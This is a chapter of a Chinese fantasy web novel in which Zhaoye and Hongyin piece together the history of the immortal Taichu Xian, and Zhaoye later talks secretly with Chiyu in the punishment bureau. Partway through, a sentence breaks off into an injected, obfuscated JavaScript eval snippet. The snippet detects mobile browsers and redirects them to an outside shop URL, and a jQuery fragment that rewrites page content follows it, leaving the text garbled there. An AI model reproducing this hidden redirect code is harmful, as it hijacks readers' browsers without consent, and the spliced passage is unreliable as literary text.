原来,这并不是那间石榴石密室中的第一本书,而是最后一册。小初写下《太愚行记》的序言,便离开了幽暗的地下书库。临行前,他甚至在月翮壁上留下刻印,嘱托后人好生照料小月羽。此后,他踏遍三界每一寸土地,将所见所闻尽数记入书中。
这本书,原是穆青带回来给我看的。他曾说,待有一日解了我寿限之困,便带我沿着书中所记,看遍这三界所有的山与海、花与树。
很快,随着仙力供给中断,石板上的光华渐次黯淡。我将这块犹带余温的石板重新藏进衣内,抬手抹了把眼泪,望向渊寂,“小青在哪儿?把他还给我,好不好?我愿用任何东西交换……你的秘密,我绝不会说出去。”
渊寂只是牵着我,自九百玲珑境的出口坦然走出。两侧仙军跪拜行礼,他的声音散在夕阳余晖与微风中,“你无需与我交易,也不必威胁、恐吓或欺瞒我,照夜。你曾说,爱是生命的第一因。那么,如今换你向我证明——为了爱,你能做什么;拥有爱,你又能得到什么。”
见到我的那一刻,宏音立即上前一步,躬身行礼,“帝君,南翊将军求见。”
渊寂了然一笑,将我的手腕递到宏音手中,“宣。”
恭敬目送渊寂与笏影的身影消失在源涡池尽头,宏音紧扣我腕间的手才微微一松。方才那短短一瞬,他因紧绷竟将我手腕捏出一圈青红。回息声苑的一路,他面色沉肃,而我自知理亏,亦不敢作声。
门扉才合上,宏音便转身严厉斥责了我——怪我将他往日的教诲抛诸脑后,冲动鲁莽不仅换不来丝毫情报,更可能莫名其妙便将性命搭进去。
“也……也不是全无收获。”我连忙掏出怀中的石榴石板,一边抹泪一边小声道,“至少,小初的宝贝……我抢回来了。”
宏音默然片刻,终是轻叹一声,颓然坐下。他接过石板,将我拉到身旁,“上面写了什么?”
听我将所记内容一一复述,宏音眉头深深锁起。随后他摊开我的掌心,指尖轻轻划过,一边写画,一边梳理起有关小初的时间脉络。
三千八百年前,太初僊发现了仙力的存在,随后与挚友太初宇、里那斯并肩开拓,历经三百载光阴,奠定了仙界与魔界最初的版图。距今三千四百二十年前,仙界正式颁布年历,三界自此通用此历纪年——那便是仙历元年。也正在那时,太初僊对外宣称“薨逝”,实则悄然回归天翮城,隐姓埋名,重新做起了图书管理员。在那段漫长的寂静岁月里,他写下大量手札,并发现、亲手浇灌了扎根于翮山的月羽木。
然而,仙历二一四三年,太初僊留下《太愚行记》的序篇,立起月翮壁,再次离开了天翮城。
事情至此,已透出些许不寻常。宏音那过于敏锐的头脑,瞬间捕捉到了其中的异常,发生在仙历二一二零年前后的那场浩劫——月羽木凋零、怪物肆虐、地火喷发、天翮古族覆灭——当时,太初僊为何不曾现身?直至地火平息,流民重组天翮族后,他才归来,重新浇灌月羽木,而后再度消失。而这一次,失去持续滋养的月羽木未能熬过漫长光阴,不过三百年便彻底枯萎,再未萌发新芽,直到现在。
太初僊,为什么没有出现。
这一刹那,我与宏音仿佛触到了答案的轮廓——小初那时,或许已无力现身。他早在更早的岁月里,便将自身割裂成了五份。换言之,分裂后的他,可能已失去了浇灌月羽木的能力。
“‘未能修成一颗完整的心’……或许正是指此。”宏音沉吟着,指尖无意识轻敲膝头,“他分裂了自身,而后再未能重新合一,直至今日。也就是说,在二一四三年之前,他便因某种缘由,将自己割裂为五份。而从二一二零年至今这一千三百年间,他一直无法将碎片拼凑回——至少能够再次种下月羽木的形态。”
宏音的推断应是准确的。可问题接踵而至,小初为何要分裂自身?分裂之后,又为何执着于重新拼合?
至于我提出的“为何煌木无力浇灌月羽木”,宏音也给出了解释,即便煌木原是太初僊的一部分,但他已拥有独立的肉身。经血肉淬炼、沾染个人印记的仙力,终究与最初那股本源之力有所不同。对于月羽木这般“娇贵”的灵木而言,那或许已非适宜的养分。
宏音指尖轻点我的胸口,声音压低,“换言之……或许只有尾巴所承载的那份‘原初之力’,才能滋养月羽木。”
我心头一阵颓然。眼下谜团环环相扣,未解之事层层堆叠,竟又添新惑。看来,唯有再次叩响小初的门扉,方能从他那里求得答案。
“照夜,别慌。”宏音手抚上我的眉间,轻轻揉开那不自觉蹙起的结。他揽住我的腰,微仰起脸,眼中满是沉静的担忧,“明日我会往寂灭池查探,试着找寻青莲的踪迹。”
“你要暗中潜入?万一被察觉……”
宏音摇摇头,唇角勾起一丝淡笑,“傻瓜,岂会那么莽撞。好了,沐浴歇息罢,你看上去倦极了。”
是啊。漫长的一日又将结束,而我依然未能找到穆青。夜雾渐起,光在窗上投下摇晃的影子,仿佛连光阴都变得滞重起来。
次日,我仍深陷梦乡时,便被一阵动静扰醒——无悔又来了。三两下将我从被窝里捞起,胡乱裹上外衣后,这八卦大王向我宣布了一项惊天大消息。仙帝选天妃的消息已昭告三界,凡是女子,皆可前来一试。帝君对天妃的要求极高也极简:貌美、合眼。
无悔一脸郑重地凑近我,说出一句混账话,“照夜,你可千万别去,万一选上了,我还得喊你一声姑母!”
若非刚睡醒神思昏沉,我真想按住这满口胡诌的臭鲛人揍一顿,“你能不能别总扰我清梦……我向来起得迟。”
“诶,今日可不是我自作主张。”无悔扬了扬下巴,颇有些得意,“是有人请我带路。哼哼,宏音大人的居处,除了我,可没几人能随意进出——”
我迷迷糊糊跟着无悔出了门,却见云啼正候在门外,身后一列仙军肃然而立,阵仗严整得仿佛要来捉拿要犯。
“拖拖拉拉,啰啰嗦嗦,已经迟了!”云啼不耐地斥了一声,率先跃上飞兽,振翅而起。
无悔朝云啼背影瞪了一眼,扶我上了另一只飞兽,“话说,你的尾巴呢?”
“还在睡。他也很忙的。”
“……我都要怀疑自己是不是也被你传染了——你的仙力,为何被你当作独立的人格对待?”
“因为尾巴就是独立的尾巴。”
不多时,目的地到了。我抬头一看——地刑司!
我心头猛地一跳。无悔却不由分说将我拽了进去。一进门,我便怔住了,今日地刑司竟如市集般热闹,参观者络绎不绝,简直匪夷所思。无悔拉着我混入队尾,四周低语窃窃,断续飘入耳中。
听了片刻,我才恍然,原是宏音提议,借此次上仙例会暨成钧府成立之机,进行一次“警示教育”。通过参观地刑司的砺魂崖、束仙台乃至寂灭池,剖析雷枢等人的悖逆之行,以儆效尤。
参观者不仅有众仙,还有成钧府学子。不过这些学生只能在砺魂崖远观,听人讲述寂灭池那可怖的景象——那极致的高热,已超越肉身感知的极限,寻常人只能本能地感到刺骨冰寒。
至此我方恍然大悟,宏音为光明正大探查寂灭池,竟想出这般对策。
而这并非唯一目的。
身旁有人压着嗓子窸窣议论:
“宏音大人当真手段了得,上任方几日,便已成帝君心腹……”
“这是要效法人间,为帝君集权呐。”
“正是!将仙界权柄由倚仗仙法战力,转为帝君亲授——宏音大人,俨然已是帝权的代行之人。”
“哼,玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579295|204291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弄权术之辈,终将为人所唾。”
无悔一边竖耳听着,一边凑到我耳边低语,“瞧见没?自星允之后,宏音大人又成了某些上仙的眼中钉。”
“宏音才不怕他们!”我忍不住攥紧袖子。
“好了好了,你自己随处看看。我得跟着队伍下寂灭池去。”
我对这儿倒算熟门熟路——好歹也曾有过前科。这不,我三两下绕开人流,摸到了厨房区域,一眼便瞧见正弓着背处理食材的万事知。他见到我,慌忙擦手,朝身旁人干笑解释——我重游故地,有点想念。这便带我出去走走看看,重温下做囚犯的滋味。
说罢连拉带拽将我带到外头,万事知压低声音道,“我的小姑奶奶,可别再往这儿找我了!您如今是帝君跟前的小八,宏音大人捧在手心的小汤圆,金贵着呢。跟您这样的贵人扯上关系,容易招人眼红……”
我怔了怔,捕捉到某个词,“小……小汤圆?”
万事知嘿嘿一笑,眼角皱出深深的纹路,“您还不知道?宏音大人逢人便说,如今谁不晓得——您可是有了座稳当当的大靠山。”
刚准备将我打发走,万事知一抬眼,却迎来了另一位更不好应付的客人——
赤羽。
说老实话,我心里顿时一紧。还未想好该如何交代素雪的下落,人已到了眼前。
万事知左右为难,索性将我和赤羽引至一处新掘出的空牢房,低声道,“二位抓紧说几句罢。”
好的是千手自那日被我烧得七七八八,虚弱不堪,暂时没能力巡视地刑司,我和赤羽的密谈环境,算是安全。
地刑司依旧浸在刺骨的“寒意”中。我顺着冰冷石墙缓缓坐下,依旧无法做出环抱膝盖的姿态。四周寂静得可怕,黑暗浓稠如墨,唯有中央那根巨大地脊偶尔逸出一缕幽微的磷光,短暂照亮浮动的尘埃。
“照夜。”赤羽在我身旁靠墙坐下。黑暗中,他那双赤瞳仿佛被血色彻底浸染,透出凛冽的杀意与疏离,“素雪……是否已死?”
“对不起,赤羽。”我声音发干,“我不知道该如何开口……请你,节哀。”
漫长的沉默里,只余赤羽平稳却沉重的呼吸。半晌,他极轻地嗤笑一声,嗓音是前所未有的冰冷,“你未免……太小看我了,照夜。”
我愕然侧首,对上赤羽在幽暗中灼灼生光的赤眸。随后,他吐露了一个令我窒息的秘密——
素雪腹中的孩子,并非他的骨肉。
因素雪心里眼里,从来只有那位师兄,渊寂。当年下嫁赤羽,不过是一场监视与笼络的交易。赤羽心中明镜似的,却因门中尚有众多徒众倚仗,不得不接下这桩“美意”。而这无奈的选择,终在素雪离去后,引来了星允等人的层层盘剥。
沦为散仙的赤羽兜转漂泊,终究落得门派凋零、潦倒孤寂。幸而浮沤岛仙力并不充沛,并非仙家必争之地,尚能保全一方栖身之所。况且,他还有渊口鱼,有枞,有从青莲山带出来的小圆。
脚步声由远及近,仙军寻来了。我与赤羽的谈话只得仓促终止。临别时,他仅低声嘱了一句,“世道险恶,万事小心。”
这便是我与赤羽的最后一面。他嘴上说着浑不在意,可那压抑的语调里,分明浸着经年累月的隐痛。彼时的我尚且不知,永别往往发生于这般看似寻常的瞬间——猝不及防,连道别都来不及。
莫名的心绪沉抑,我独坐于寂静的牢房中,竟有些不愿离开。思绪飘飘荡荡,又回到了我为探查牧狸下落、初次主动踏入这囹圄之地的时光。那时,我与尾巴穿越寂灭池,潜入地刑司更深的底层,却在未能探明究竟之际,被渊寂当场擒住。
“唔……又冷,又热。”
我一惊,低头看去——尾巴正从我衣襟间挤出一团小小的、发着微光的脑袋,左右甩了甩,仿佛在驱散睡意。